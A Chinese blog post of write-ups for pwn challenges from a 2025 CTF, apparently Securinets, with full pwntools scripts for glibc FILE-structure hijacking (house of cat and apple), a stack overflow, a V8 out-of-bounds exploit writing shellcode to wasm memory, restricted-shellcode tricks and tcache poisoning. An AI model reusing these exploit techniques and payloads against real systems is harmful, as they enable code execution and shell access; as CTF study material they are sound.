← 返回文章归档
FIELD NOTES / Pwn11 MIN READ

securityCTF 2025 pwn方向题解

V-table

手挖io链子

正常的链子
exit_handler() -> io_flush_all() -> io_overflow() -> io_do_write()

我们修改vtable,使得调用overflow变成调用file_finish,正常的finish链子
exit_handler() -> io_file_finish() -> io_do_write()

而实际上我们修改了vtable,finish的位置在overflow-8,因此do_write对应的虚函数也要-8
exit_handler() -> io_file_finish() -> io_do_read()

于是我们就拿到了一个任意写
接下来写chains并打house of cat即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9002

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

script = '''
b _IO_flush_all
b *(&_IO_flush_all+210)
b _IO_switch_to_wget_mode
go
'''

def pwn():
global p
p = getp()

p.recvuntil('0x')
libcbase = int(p.recv(12), 16) - libc.sym['_IO_2_1_stdout_']
libc.address = libcbase
jump = libc.sym['_IO_file_jumps']
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(stdout))
file = flat(
{
0x0:0xfbad1800,
0x8:[stdout + 0x801, stdout, stdout+0x800],
0x20:[stdout, stdout - 0x800, stdout],
0x68:stdout - 0x10,
0x88:stdout + 0x1f0,
0xb0:0,
0xc8:jump-8,

0x78:stdout + 0x1f0,
0x90:stdout

}, filler = b'\x00'
)
pay = bytes(file)
s(pay)

fake_io=stdout+0x100
IO_wfile_jumps=libc.sym['_IO_wfile_jumps']
saddr=libc.sym['system']
binsh=libc.search('/bin/sh').__next__()

magic=0x0000000000154720+libcbase
IO_wfile_jumps=libc.sym['_IO_wfile_jumps']
setcontext_61=libc.sym['setcontext']+53
rdi=libc.search(asm("pop rdi;ret"),executable=True).__next__()
rax=libc.search(asm("pop rax;ret"),executable=True).__next__()
rsi=libc.search(asm("pop rsi;ret"),executable=True).__next__()
sys_ret=libc.search(asm("syscall;ret"),executable=True).__next__()
ret=rdi +1
saddr=libc.sym['system']
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

cat=flat(
{
0x0:[b'./flag.txt'], # rdi=binsh
0x20:[p64(0)], # write_base
0x28:[p64(1)], # write_ptr --> ptr > base
0xc0:[p64(0)], # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],

0x88:[p64(fake_io+0x90),p64(0),p64(1)], # bypass lock

0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],
(0xA0+0x20):[p64(0)],
(0xA0+0x28):[p64(1)], # bypass check in wfile_seekoff
(0xA0+0x30):[p64(1)], # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(magic)], # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
(0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
(0x1C8+0xA0):[p64(fake_io+0x280)], # rsp
(0x1C8+0x68):[p64(0xffffff9c)], # rdi
(0x1C8+0xA8):[p64(rax)], # ret_addr
(0x1C8+0x88):[p64(0x100)], # rdx
(0x1C8+0x70):[p64(fake_io)], # rsi
(0x280):[p64(0x101),p64(sys_ret), # rop
p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
]
},filler=b'\x00')

file = flat(
{
0x58:stdout + 0x100,
0x88:stdout + 0x1f0,
0xb0:0,
0xc8:jump - 8,

0x78:stdout + 0x1f0,
0x90:fake_io

}, filler = b'\x00'
)

pay = bytes(file).ljust(0x100, b'\x00') + bytes(cat)
s(pay)

# write_ptr < write_base (avoid crash in switch to get mode)
# mode > 0 (trigger IO_overflow)
# _wide_data->_IO_write_ptr> _wide_data->_IO_write_base (trigger IO_overflow)
# # A0 -> 18 less than A0 -> 20
# read from _IO_buf_base to _IO_buf_end

# ignore that

# io flush out

# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

pwn()
p.interactive()

PixPin\_2025-10-06\_19-11-12

一条亟待复现的链子
_IO_cleanup-> _IO_unbuffer_all->_IO_new_file_setbuf->_IO_default_setbuf->_IO_new_file_sync->_IO_do_flush-> _IO_wdo_write->__libio_codecvt_out

哦就是apple,不过我还没研究过,有时间再说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

chal = ELF('./main_patched')

HOST = 'pwn-14caf623.p1.securinets.tn'
PORT = 9002

gdbscript='''
dir ~/glibc
b *vuln +54
c
'''

context.binary = chal
context.terminal = ["tmux", "splitw", "-h"]

if args.GDB:
conn = gdb.debug([chal.path], gdbscript)
elif args.REMOTE:
conn = remote(HOST, PORT)
else:
conn = process([chal.path])

def main():
conn.recvuntil(b': ')

addr_stdout = int(conn.recvline().strip(), 0x10)

# FIXME
addr_libc_base = addr_stdout - 0x1e85c0
addr_system = addr_libc_base + 0x53110
addr_stdfile_1_lock = addr_libc_base + 0x1e97b0
addr_gadget = addr_libc_base + 0x001563c3 # add rdi, 0x10; jmp rcx;

info(f'{addr_stdout = :#x}')
info(f'{addr_libc_base = :#x}')
info(f'{addr_system = :#x}')
info(f'{addr_stdfile_1_lock = :#x}')
info(f'{addr_gadget = :#x}')

payload = flat({
0x0: 1, # _flags
0x8: addr_system + 0x4, # _IO_read_ptr (_wide_data->_IO_write_base),
0x10: addr_system + 0x3, #_IO_read_end (_wide_data->_IO_write_ptr)
0x20: 0, # _IO_write_base (_codecvt->__cd_out->step->__shlib_handle)
0x28: 1, # _IO_write_ptr
0x30: b'/bin/sh\0', # rdi + 0x10
0x38: 0, # _IO_buf_base (_wide_data->_IO_backup_base)
0x48: addr_gadget, # _IO_save_base (_codecvt->__cd_out->step->__fct)
0x50: 0, # _IO_backup_base
0x58: addr_stdout + 0x20, # _IO_save_end (_codecvt->__cd_out->step) +0x60, +0x68, +0x80 will be overwitten
0x88: addr_stdfile_1_lock, # _lock
0x98: addr_stdout + 0x58 - 0x38, # _codecvt
0xa0: addr_stdout + 0x8 - 0x18, # _wide_data
0xc0: 1, # _mode
}, filler=b'\0', length=0xd8)

conn.send(payload)
conn.interactive()

if __name__ == '__main__':
main()

Zip++

zip,但是压缩算法不好
所以有个栈溢出控制到win就结束了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
filename = './main'
# libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9000

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

script = '''
go
'''

def pwn():

global p
p = getp()
pay = b'\x01\x02' * 198 + b'\xa6' *0x11
sa(':',pay)
sa(':','exit')

pwn()
p.interactive()

Sukunahikona

一个简单的v8题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
function f2i(f)
{
_f[0] = f;
return _i[0];
}
function i2f(i)
{
_i[0] = i;
return _f[0];
}
function phex(i)
{
console.log("[HEX]: 0x"+i.toString(16).padStart(16,"0"));
}

let arr = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10, 11.11, 12.12, 13.13, 14.14, 15.15, 16.16, 17.17, 18.18, 19.19, 20.20];
let obj_arr = [{}, {}, {}];
let evil_len = {
valueOf: function() {
// arr.push({}); // Change the array to HOLEY_ELEMENTS array if needed
arr.length = 2;
return 19;
}
};

arr.shrink(evil_len);

new ArrayBuffer(0xfe000000);
new ArrayBuffer(0xfe000000);
new ArrayBuffer(0xfe000000);
// %DebugPrint(arr);
// const map_value = arr[2];
function show_arr()
{
for (let i = 0; i < arr.length; i++) {
phex(f2i(arr[i]));
}
}
function addr_of(obj)
{
obj_arr[2] = obj;
return f2i(arr[6]) & 0xffffffffn;
}

function read32_at(addr)
{
arr[7] = i2f(((addr-8n) << 32n) | 0x725n);
arr[8] = i2f((0x2n << 32n) | (0x2n));
return f2i(obj_arr[0][0]);
}

function write32_at(addr, val)
{
arr[7] = i2f(((addr-8n) << 32n) | 0x725n);
arr[8] = i2f((0x2n << 32n) | (0x2n));
obj_arr[0][0] = i2f(val);
}

function pwn()
{
darr_map = f2i(arr[2]);
oarr_map = f2i(arr[17]);
darr_addr = (f2i(arr[3]) + 8n) & 0xffffffffn;
oarr_addr = darr_addr + 0x28n;
obj0_addr = oarr_addr + 0xcn;
phex(obj0_addr);
phex(oarr_map);

arr[6] = i2f((darr_map & 0xffffffffn) << 32n);
// arr[7] = i2f((darr_map >> 32n) | )

var data_buf = new ArrayBuffer(0x400);
var data_view = new DataView(data_buf);

backing = addr_of(data_buf) + 0x24n;
haddr = read32_at(backing);
phex(backing);
phex(haddr);
// %DebugPrint(data_buf);
// %DebugPrint(data_view);
// %DebugPrint(arr);

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

f_addr = addr_of(f);
instance_addr = read32_at(f_addr + 0x10n) & 0xffffffffn;
function_data_addr = read32_at(instance_addr + 4n) & 0xffffffffn;
instance_data = read32_at(function_data_addr + 0x14n) & 0xffffffffn;
rwx = read32_at(instance_data + 0x30n);


phex(f_addr);
phex(instance_addr);
phex(function_data_addr);
phex(instance_data);
phex(rwx);
write32_at(backing, rwx);
// %DebugPrint(data_buf);

shellcode = [
0x2434810101757968n,
0x2f66b84801010101n,
0x4850742e67616c66n,
0x632f656d6f682fb8n,
0x31d231e789485074n,
0xc031050f58026af6n,
0x4801b6d2315f036an,
0x315f016a050fe689n,
0x16ae6894801b6d2n,
0x50f58n,


];
for (let i = 0; i < shellcode.length; ++i)
{
data_view.setFloat64(i * 8, i2f(shellcode[i]), true);
}
f();
}
pwn()
while(1) {}

push pop all

在里面藏个bad就会阻断cs的解析

然后我们用push pop指令再把bad指令写掉,就能正常执行后面的shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import base64
context.arch = 'amd64'
context.log_level = 'debug'

host = '127.0.0.1'
port = 1337

host = 'pwn-14caf623.p1.securinets.tn'
port = 9001

def pwn():
p = remote(host, port)
shellcode = asm('pop rax')*8
shellcode += asm('push r11; pop rsp; pop rax; pop rbx; push rax;') + b'\x60'
shellcode += asm('nop; nop; add rsp, 0x800;' + shellcraft.sh())
shellcode = base64.b64encode(shellcode)
p.sendline(shellcode)
p.interactive()
p.close()

pwn()

push pop all revenge

我不喜欢这道题 TvT

用 search -2 050f找syscall,然后pop到寄存器里再push到rwx
或者用canary 1/256拿 0xf

长度有0x2000,足够我们pop来搜索

search -w -2 …

PixPin\_2025-10-07\_14-23-22

这是第一种办法,肉眼查找法。第一种办法的优化是自己编写一个gdb脚本,将search的结果与栈上指针比对,最后找到一个可以获得0x50f的办法

第二种办法是用pop sp修改rsp的低位,之前我只知道64位下没有pop eax…但是没想到原来可以pop ax…

用pop sp 修改 rsp低位为7,然后pop到0x507即可

第三种做法是控制code的长度,填充我们的shellcode使其长度为0x507,然后找到我们code的源代码,再反照对象的引用路径,最后在栈上找到能跑过去的链子

PixPin\_2025-10-07\_14-42-56

PixPin\_2025-10-07\_14-43-12

咕咕嘎嘎.mp4
(不过这里在栈更高位的地方上不去)
(但是pop sp疑似就上去了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from base64 import *
filename = "/bin/python"
# libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9090

# host = '127.0.0.1'
# port = 1337

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

def run(mode, script = ""):
p = remote(host, port)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

script = '''
go
'''

def pwn():
global p
p = getp()

shellcode = asm('pop rcx; pop rcx; pop rcx;')
shellcode += asm('pop rsp; pop rcx; pop rcx; pop rcx; pop rsp;') + asm('pop rbx')* 397 + asm('pop rsp; pop rcx; pop rcx; pop rcx;')
shellcode += asm('pop rcx; pop rsp; pop rcx; pop rcx; pop rbx; push r11; pop rsp;')
shellcode += asm('pop rcx; push rsp; pop rsi') + asm('pop rcx') * 0x40 + asm('push rbx; pop rdx')
shellcode = shellcode.ljust(0x50f, asm('pop rcx'))
shellcode = b64encode(shellcode)

sla('Shellcode : ', shellcode)
# sleep(10)
shellcode = b'\x90'*0x220 + asm('add rsp, 0x800;' + shellcraft.sh())
s(shellcode)
# p.recv(1, timeout=2)
# shellcode = b'\x90'*0x520 + asm('add rsp, 0x800;') + asm(shellcraft.write(1, 'rsp', 0x100))
# sleep(0.5)
# sl(shellcode)
# p.interactive()
# p.recv(1)
pwn()
p.interactive()

记得控制rdx不要太大

spell manage

简单的堆题,给了个任意申请

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= ''
port= 0

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p

def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p

script = '''
go
'''

def add(idx, content):
s = content.ljust(0x6c, b'\x00')
sla(': ', '1')
sla(': ', str(idx))
sa(': ', s[0:0x20])
sa(': ', s[0x20:0x60])
sla(':', str(u32(s[0x60:0x64])))
sla(':', str(u32(s[0x64:0x68])))
sla(':', str(u32(s[0x68:0x6c])))

def edit(idx, content):
s = content.ljust(0x6c, b'\x00')
sla(': ', '2')
sla(': ', str(idx))
sa(': ', s[0:0x20])
sa(': ', s[0x20:0x60])
sla(':', str(u32(s[0x60:0x64])))
sla(':', str(u32(s[0x64:0x68])))
sla(':', str(u32(s[0x68:0x6c])))

def show():
sla(':', '3')

def free(idx):
sla(':', '4')
sla(':', str(idx))

def pwn():
global p
p = getp()

for i in range(0, 7):
add(i, b'')
free(i)
show()
p.recvuntil('Slot 0:\n Name:')
haddr = u64(p.recv(6)+b'\x00\x00')*0x10 + 0x90
tkey = haddr >> 12
add(8, b'')
add(9, b'')
for i in range(0, 11):
add(10 + i, b'')

free(8)
free(9)

edit(0, b'\x00'*0x58+p64(0x81)+p64(tkey))
edit(9, p64(tkey ^ (haddr + 0x60)))
add(8, b'')
add(9, b'\x00'*0x18 + p64(0x481))

free(1)
show()
p.recvuntil('Slot 1:\n Name: ')
libcbase = u64(p.recv(6)+b'\x00\x00') - 0x203b20
for i in range(0, 5):
add(11 + i, b'')

add(12, p64(tkey ^ (libcbase+libc.sym['_IO_list_all'])))

fake_io = haddr + 0x390
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
setcontext_61=libcbase+libc.sym['setcontext']+61
rdi=libcbase+0x000000000010f75b
rax=libcbase+0x00000000000dd237
rsi=libcbase+0x0000000000110a4d
sys_ret=libcbase+0x000000000098FC5
ret=libcbase+0x000000000010f75b+1
saddr=libcbase+libc.sym['system']
binsh=libcbase+libc.search('/bin/sh').__next__()
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

pay=flat(
{
0x0:[b'/bin/sh\x00'], # rdi = binsh
0x20:[p64(0)], # write_base
0x28:[p64(1)], # write_ptr --> ptr > base
0x48:[p64(saddr)],
0xc0:[p64(0)], # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],

0x88:[p64(fake_io+0x90),p64(0),p64(1)], # bypass lock

0xA0:[p64(fake_io-0x10)], # bypass check in wfile_seekoff
0x10:[p64(1)],
0x18:[p64(0)],
# (0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xc8):[p64(fake_io+0xd0-0x18)],
(0xd0):[p64(fake_io+0x30)], # call entry
}, filler=b'\x00'
)

add(12, bytes(pay)[0:0x68])
add(13, bytes(pay)[0x80:0xe0])

sla(':', '5')
sla(':', str(0x78))
sla(':', p64(0))
sla(':', '5')
sla(':', str(0x78))
sla(':', p64(fake_io))

print(hex(libcbase))
print(hex(haddr))



pwn()
p.interactive()

改_IO_list_all结束

FROM THE ARCHIVE

这篇文章迁移自我的博客园,保留最初的记录。

阅读原文 ↗
/ END✳∷ — 00
SEARCH / 00

搜索文章

输入关键词,搜索全部文章。

标题 / 标签 / 全文ESC 关闭